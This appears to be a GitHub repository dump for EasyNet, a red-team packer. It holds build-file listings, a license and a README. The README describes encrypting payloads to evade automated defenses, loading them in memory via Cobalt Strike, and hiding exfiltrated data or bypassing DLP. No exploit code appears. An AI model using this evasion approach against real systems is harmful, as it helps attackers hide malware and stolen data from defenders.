C:\Users\Shawn\Documents\GitHub\EasyNet\ExampleWrapper\obj\Debug\ExampleWrapper.pdb 25 | -------------------------------------------------------------------------------- /ExampleWrapper/obj/Debug/ExampleWrapper.csproj.GenerateResource.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/TheWover/EasyNet/d1df31dfb4ad98a22d2caff97bd0cd875a96fe03/ExampleWrapper/obj/Debug/ExampleWrapper.csproj.GenerateResource.cache -------------------------------------------------------------------------------- /ExampleWrapper/obj/Debug/ExampleWrapper.csprojAssemblyReference.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/TheWover/EasyNet/d1df31dfb4ad98a22d2caff97bd0cd875a96fe03/ExampleWrapper/obj/Debug/ExampleWrapper.csprojAssemblyReference.cache -------------------------------------------------------------------------------- /ExampleWrapper/obj/Debug/ExampleWrapper.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/TheWover/EasyNet/d1df31dfb4ad98a22d2caff97bd0cd875a96fe03/ExampleWrapper/obj/Debug/ExampleWrapper.exe -------------------------------------------------------------------------------- /ExampleWrapper/obj/Debug/ExampleWrapper.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/TheWover/EasyNet/d1df31dfb4ad98a22d2caff97bd0cd875a96fe03/ExampleWrapper/obj/Debug/ExampleWrapper.pdb -------------------------------------------------------------------------------- /ExampleWrapper/obj/Debug/TempPE/Properties.Resources.Designer.cs.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/TheWover/EasyNet/d1df31dfb4ad98a22d2caff97bd0cd875a96fe03/ExampleWrapper/obj/Debug/TempPE/Properties.Resources.Designer.cs.dll -------------------------------------------------------------------------------- /ExampleWrapper/obj/Debug/TemporaryGeneratedFile_036C0B5B-1481-4323-8D20-8F5ADCB23D92.cs: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/TheWover/EasyNet/d1df31dfb4ad98a22d2caff97bd0cd875a96fe03/ExampleWrapper/obj/Debug/TemporaryGeneratedFile_036C0B5B-1481-4323-8D20-8F5ADCB23D92.cs -------------------------------------------------------------------------------- /ExampleWrapper/obj/Debug/TemporaryGeneratedFile_5937a670-0e60-4077-877b-f7221da3dda1.cs: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/TheWover/EasyNet/d1df31dfb4ad98a22d2caff97bd0cd875a96fe03/ExampleWrapper/obj/Debug/TemporaryGeneratedFile_5937a670-0e60-4077-877b-f7221da3dda1.cs -------------------------------------------------------------------------------- /ExampleWrapper/obj/Debug/TemporaryGeneratedFile_E7A71F73-0F8D-4B9B-B56E-8E70B10BC5D3.cs: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/TheWover/EasyNet/d1df31dfb4ad98a22d2caff97bd0cd875a96fe03/ExampleWrapper/obj/Debug/TemporaryGeneratedFile_E7A71F73-0F8D-4B9B-B56E-8E70B10BC5D3.cs -------------------------------------------------------------------------------- /ExampleWrapper/obj/Debug/project.razor.json: -------------------------------------------------------------------------------- 1 | { 2 | "ProjectFilePath": "c:\\Users\\Shawn\\Documents\\GitHub\\EasyNet\\ExampleWrapper\\ExampleWrapper.csproj", 3 | "TargetFramework": "v4.7.2", 4 | "TagHelpers": [], 5 | "Configuration": { 6 | "ConfigurationName": "UnsupportedRazor", 7 | "LanguageVersion": "1.0", 8 | "Extensions": [ 9 | { 10 | "ExtensionName": "UnsupportedRazorExtension" 11 | } 12 | ] 13 | } 14 | } -------------------------------------------------------------------------------- /ExampleWrapper/obj/Release/DesignTimeResolveAssemblyReferences.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/TheWover/EasyNet/d1df31dfb4ad98a22d2caff97bd0cd875a96fe03/ExampleWrapper/obj/Release/DesignTimeResolveAssemblyReferences.cache -------------------------------------------------------------------------------- /ExampleWrapper/obj/Release/DesignTimeResolveAssemblyReferencesInput.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/TheWover/EasyNet/d1df31dfb4ad98a22d2caff97bd0cd875a96fe03/ExampleWrapper/obj/Release/DesignTimeResolveAssemblyReferencesInput.cache -------------------------------------------------------------------------------- /ExampleWrapper/obj/Release/ExampleWrapper.Properties.Resources.resources: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/TheWover/EasyNet/d1df31dfb4ad98a22d2caff97bd0cd875a96fe03/ExampleWrapper/obj/Release/ExampleWrapper.Properties.Resources.resources -------------------------------------------------------------------------------- /ExampleWrapper/obj/Release/ExampleWrapper.csproj.CopyComplete: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/TheWover/EasyNet/d1df31dfb4ad98a22d2caff97bd0cd875a96fe03/ExampleWrapper/obj/Release/ExampleWrapper.csproj.CopyComplete -------------------------------------------------------------------------------- /ExampleWrapper/obj/Release/ExampleWrapper.csproj.CoreCompileInputs.cache: -------------------------------------------------------------------------------- 1 | 6017d38ce3851a602756fad63c06502082958fc3 2 | -------------------------------------------------------------------------------- /ExampleWrapper/obj/Release/ExampleWrapper.csproj.FileListAbsolute.txt: -------------------------------------------------------------------------------- 1 | C:\Users\Shawn\Documents\GitHub\utilities\redteam\packer\EasyNet\ExampleWrapper\bin\Release\ExampleWrapper.exe.config 2 | C:\Users\Shawn\Documents\GitHub\utilities\redteam\packer\EasyNet\ExampleWrapper\bin\Release\ExampleWrapper.exe 3 | C:\Users\Shawn\Documents\GitHub\utilities\redteam\packer\EasyNet\ExampleWrapper\bin\Release\ExampleWrapper.pdb 4 | C:\Users\Shawn\Documents\GitHub\utilities\redteam\packer\EasyNet\ExampleWrapper\obj\Release\ExampleWrapper.csprojAssemblyReference.cache 5 | C:\Users\Shawn\Documents\GitHub\utilities\redteam\packer\EasyNet\ExampleWrapper\obj\Release\ExampleWrapper.csproj.CoreCompileInputs.cache 6 | C:\Users\Shawn\Documents\GitHub\utilities\redteam\packer\EasyNet\ExampleWrapper\obj\Release\ExampleWrapper.exe 7 | C:\Users\Shawn\Documents\GitHub\utilities\redteam\packer\EasyNet\ExampleWrapper\obj\Release\ExampleWrapper.pdb 8 | C:\Users\Shawn\Documents\GitHub\utilities\redteam\packer\EasyNet\ExampleWrapper\bin\Release\EasyNetLibrary.dll 9 | C:\Users\Shawn\Documents\GitHub\utilities\redteam\packer\EasyNet\ExampleWrapper\bin\Release\EasyNetLibrary.pdb 10 | C:\Users\Shawn\Documents\GitHub\utilities\redteam\packer\EasyNet\ExampleWrapper\obj\Release\ExampleWrapper.Properties.Resources.resources 11 | C:\Users\Shawn\Documents\GitHub\utilities\redteam\packer\EasyNet\ExampleWrapper\obj\Release\ExampleWrapper.csproj.GenerateResource.cache 12 | C:\Users\Shawn\Documents\GitHub\utilities\redteam\packer\EasyNet\ExampleWrapper\obj\Release\ExampleWrapper.csproj.CopyComplete 13 | C:\Users\Shawn\Documents\GitHub\EasyNet\ExampleWrapper\bin\Release\ExampleWrapper.exe.config 14 | C:\Users\Shawn\Documents\GitHub\EasyNet\ExampleWrapper\bin\Release\ExampleWrapper.exe 15 | C:\Users\Shawn\Documents\GitHub\EasyNet\ExampleWrapper\bin\Release\ExampleWrapper.pdb 16 | C:\Users\Shawn\Documents\GitHub\EasyNet\ExampleWrapper\bin\Release\EasyNetLibrary.dll 17 | C:\Users\Shawn\Documents\GitHub\EasyNet\ExampleWrapper\bin\Release\EasyNetLibrary.pdb 18 | C:\Users\Shawn\Documents\GitHub\EasyNet\ExampleWrapper\obj\Release\ExampleWrapper.csprojAssemblyReference.cache 19 | C:\Users\Shawn\Documents\GitHub\EasyNet\ExampleWrapper\obj\Release\ExampleWrapper.Properties.Resources.resources 20 | C:\Users\Shawn\Documents\GitHub\EasyNet\ExampleWrapper\obj\Release\ExampleWrapper.csproj.GenerateResource.cache 21 | C:\Users\Shawn\Documents\GitHub\EasyNet\ExampleWrapper\obj\Release\ExampleWrapper.csproj.CoreCompileInputs.cache 22 | C:\Users\Shawn\Documents\GitHub\EasyNet\ExampleWrapper\obj\Release\ExampleWrapper.csproj.CopyComplete 23 | C:\Users\Shawn\Documents\GitHub\EasyNet\ExampleWrapper\obj\Release\ExampleWrapper.exe 24 | C:\Users\Shawn\Documents\GitHub\EasyNet\ExampleWrapper\obj\Release\ExampleWrapper.pdb 25 | -------------------------------------------------------------------------------- /ExampleWrapper/obj/Release/ExampleWrapper.csproj.GenerateResource.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/TheWover/EasyNet/d1df31dfb4ad98a22d2caff97bd0cd875a96fe03/ExampleWrapper/obj/Release/ExampleWrapper.csproj.GenerateResource.cache -------------------------------------------------------------------------------- /ExampleWrapper/obj/Release/ExampleWrapper.csprojAssemblyReference.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/TheWover/EasyNet/d1df31dfb4ad98a22d2caff97bd0cd875a96fe03/ExampleWrapper/obj/Release/ExampleWrapper.csprojAssemblyReference.cache -------------------------------------------------------------------------------- /ExampleWrapper/obj/Release/ExampleWrapper.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/TheWover/EasyNet/d1df31dfb4ad98a22d2caff97bd0cd875a96fe03/ExampleWrapper/obj/Release/ExampleWrapper.exe -------------------------------------------------------------------------------- /ExampleWrapper/obj/Release/ExampleWrapper.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/TheWover/EasyNet/d1df31dfb4ad98a22d2caff97bd0cd875a96fe03/ExampleWrapper/obj/Release/ExampleWrapper.pdb -------------------------------------------------------------------------------- /ExampleWrapper/obj/Release/TempPE/Properties.Resources.Designer.cs.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/TheWover/EasyNet/d1df31dfb4ad98a22d2caff97bd0cd875a96fe03/ExampleWrapper/obj/Release/TempPE/Properties.Resources.Designer.cs.dll -------------------------------------------------------------------------------- /ExampleWrapper/obj/Release/TemporaryGeneratedFile_036C0B5B-1481-4323-8D20-8F5ADCB23D92.cs: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/TheWover/EasyNet/d1df31dfb4ad98a22d2caff97bd0cd875a96fe03/ExampleWrapper/obj/Release/TemporaryGeneratedFile_036C0B5B-1481-4323-8D20-8F5ADCB23D92.cs -------------------------------------------------------------------------------- /ExampleWrapper/obj/Release/TemporaryGeneratedFile_5937a670-0e60-4077-877b-f7221da3dda1.cs: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/TheWover/EasyNet/d1df31dfb4ad98a22d2caff97bd0cd875a96fe03/ExampleWrapper/obj/Release/TemporaryGeneratedFile_5937a670-0e60-4077-877b-f7221da3dda1.cs -------------------------------------------------------------------------------- /ExampleWrapper/obj/Release/TemporaryGeneratedFile_E7A71F73-0F8D-4B9B-B56E-8E70B10BC5D3.cs: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/TheWover/EasyNet/d1df31dfb4ad98a22d2caff97bd0cd875a96fe03/ExampleWrapper/obj/Release/TemporaryGeneratedFile_E7A71F73-0F8D-4B9B-B56E-8E70B10BC5D3.cs -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2018 TheWover 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # EasyNet 2 | Packs/unpacks arbitrary data using a simple Data -> Gzip -> AES -> Base64 algorithm. Generates a random AES-256 key and and IV and provides them to the user. Can be used to pack or unpack arbitrary data. Provided both as a program and a library. 3 | 4 | There are several advantages of EasyNet: 5 | 6 | 1) It is simple and easy to use. 7 | 2) Every algorithm involved is native to the .NET API and has been for a long time, ensuring that it may be unpacked on the other side using libraries natively available on the target system. 8 | 3) Every time EasyNet is used, its output possesses a unique signature. This is because the AES key and IV are randomly generated at runtime. 9 | 4) Due to the compression of GZip, payloads packed with EasyNet will tend to have their size reduced. 10 | 11 | Because the key must (probably) be sent along with the packed file to be unpacked on the other end, EasyNet does not provide a high degree of confidentiality. However, it is not intended to. Rather, it is intended to obfuscate arbitrary data to prevent it from being analyzed by automated defenses. Every time the same data is packed with EasyNet, the result possesses a unique signature. A human (or educated machine) could pick out the key from the stream and use it to unpack the accompanying data. However, that would require pre-existing knowledge of the implementation of EasyNet and the tool that uses it. That is unlikely, and is the chance that this tool bets on. In case EasyNet becomes understood by defenders, the source is provided so that the implementation may be easily modified. 12 | 13 | One way to use this is with a non-packed wrapper. The wrapper is provided with a key and some packed data. At runtime, the wrapper unpacks the data using EasyNet and the provided key. 14 | 15 | An example wrapper is provided by the ExampleWrapper folder. That example can unpack data passed in as a command-line argument, an embedded blob, or a file resource in the Assembly. Whichever way it is passed in, the example will unpack it, assume that it is a .NET Assembly, and then load it using Reflection. Command-line arguments may be passed in. If used with something like Cobalt Strike's execute-assembly, this results in a heavily obfuscated blob that may only be reversed if it is pulled out of memory in a short time-window at runtime along with the key, and then unpacked using knowledge of EasyNet for inspection. It is incredibly unlikely that this would ever occur, or that anyone will (soon) develop the capability to do such. At this point, the signaturable element would be the wrapper, which would be very easy to modify for signature avoidance. 16 | 17 | EasyNet could also be used to protect exfiltrated data. Or, to bypass DLP (Data-Loss Prevention). Or, many other things. Really, it could be used for many purposes that I have not predicted or intended. That, to me, is the mark of a good tool. ;-) 18 | 19 | Language: C# (.NET 3.5 compatible) 20 | 21 | # Usage 22 | 23 | Usage to pack: EasyNet.exe --pack input_file [output_file] 24 | 25 | Usage to unpack: EasyNet.exe --unpack AES_Key AES_IV input_file [output_file] 26 | 27 | ![Alt text](https://github.com/TheWover/EasyNet/blob/master/img/usage.JPG?raw=true "General Usage") 28 | 29 | The result of the packing and unpacking algorithms are written to stdout. All other output is written to stderr. As a result, you may safely use pipe redirection for output as demonstrated below. 30 | 31 | ![Alt text](https://github.com/TheWover/EasyNet/blob/master/img/packing.JPG?raw=true "Packing a File") 32 | 33 | As you can see, the AES key and IV are randomly generated every time EasyNet is used. This produces a unique signature for every instance of the packed data. 34 | 35 | ![Alt text](https://github.com/TheWover/EasyNet/blob/master/img/unpacking.JPG?raw=true "Unpacking Data") 36 | 37 | To unpack the data, simply provide the AES key and IV that were provided when the data was packed. Pipe redirection works in the same way as packing. 38 | 39 | Examples: 40 | 41 | * EasyNet.exe --pack testinput.txt testoutput.txt 42 | 43 | Packs the contents of testinput.txt and writes the result to testoutput.txt. 44 | 45 | * EasyNet.exe --pack testinput.txt 46 | 47 | Packs the contents of testinput.txt and prints the result to the screen. 48 | 49 | * EasyNet.exe --pack testinput.txt | clip 50 | 51 | Packs the contents of testinput.txt and pipes the result into your clipboard so that it may be pasted elsewhere. 52 | 53 | * EasyNet.exe --pack testinput.txt > testoutput.txt 54 | 55 | Packs the contents of testinput.txt and pipes the result to a file. 56 | 57 | * EasyNet.exe --unpack w4EoA1NWtzdT5zi4kjMCB7s5qA7Sf+qbQYSWQgOliho= c+pL/ttbs5AyRQOA0gyrFA== testoutput.txt 58 | 59 | Unpacks the contents of testoutput.txt using the specified AES key and IV and prints the result. 60 | 61 | * EasyNet.exe --unpack w4EoA1NWtzdT5zi4kjMCB7s5qA7Sf+qbQYSWQgOliho= c+pL/ttbs5AyRQOA0gyrFA== testoutput.txt testunpackedoutput.txt 62 | 63 | Unpacks the contents of testoutput.txt using the specified AES key and IV and writes the result to testunpackedoutput.txt. 64 | 65 | WARNING: When using pipe redirectiong for packing (as demonstrated above), avoid using Powershell. It automatically writes all output to the console as Unicode. However, C# reads the input file (for unpacking) as ASCII. As there is no clean way to detect the encoding of the packed input and I cannot (from within C#) force Powershell to output ASCII, I suggest that you avoid using Powershell for packing and instead use CMD.exe. It is friendlier. 66 | 67 | A usage guide for the EasyNet Library and ExampleWrapper are provided in their subdirectories. 68 | 69 | # ATT&CK Mapping 70 | 71 | ATT&CK ID: T1045 72 | 73 | Technique Name: Software Packing 74 | 75 | ATT&CK Framework Link: https://attack.mitre.org/techniques/T1045/ 76 | 77 | # To-Do 78 | * Overload the pack function to optionally take a pre-defined key. 79 | * Add an environmentally keyed version that uses an enum that you OR togethor to get your options of what to check. 80 | -------------------------------------------------------------------------------- /img/API.JPG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/TheWover/EasyNet/d1df31dfb4ad98a22d2caff97bd0cd875a96fe03/img/API.JPG -------------------------------------------------------------------------------- /img/API.PNG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/TheWover/EasyNet/d1df31dfb4ad98a22d2caff97bd0cd875a96fe03/img/API.PNG -------------------------------------------------------------------------------- /img/packing.JPG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/TheWover/EasyNet/d1df31dfb4ad98a22d2caff97bd0cd875a96fe03/img/packing.JPG -------------------------------------------------------------------------------- /img/packing.PNG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/TheWover/EasyNet/d1df31dfb4ad98a22d2caff97bd0cd875a96fe03/img/packing.PNG -------------------------------------------------------------------------------- /img/unpacking.JPG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/TheWover/EasyNet/d1df31dfb4ad98a22d2caff97bd0cd875a96fe03/img/unpacking.JPG -------------------------------------------------------------------------------- /img/unpacking.PNG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/TheWover/EasyNet/d1df31dfb4ad98a22d2caff97bd0cd875a96fe03/img/unpacking.PNG -------------------------------------------------------------------------------- /img/usage.JPG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/TheWover/EasyNet/d1df31dfb4ad98a22d2caff97bd0cd875a96fe03/img/usage.JPG -------------------------------------------------------------------------------- /img/usage.PNG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/TheWover/EasyNet/d1df31dfb4ad98a22d2caff97bd0cd875a96fe03/img/usage.PNG --------------------------------------------------------------------------------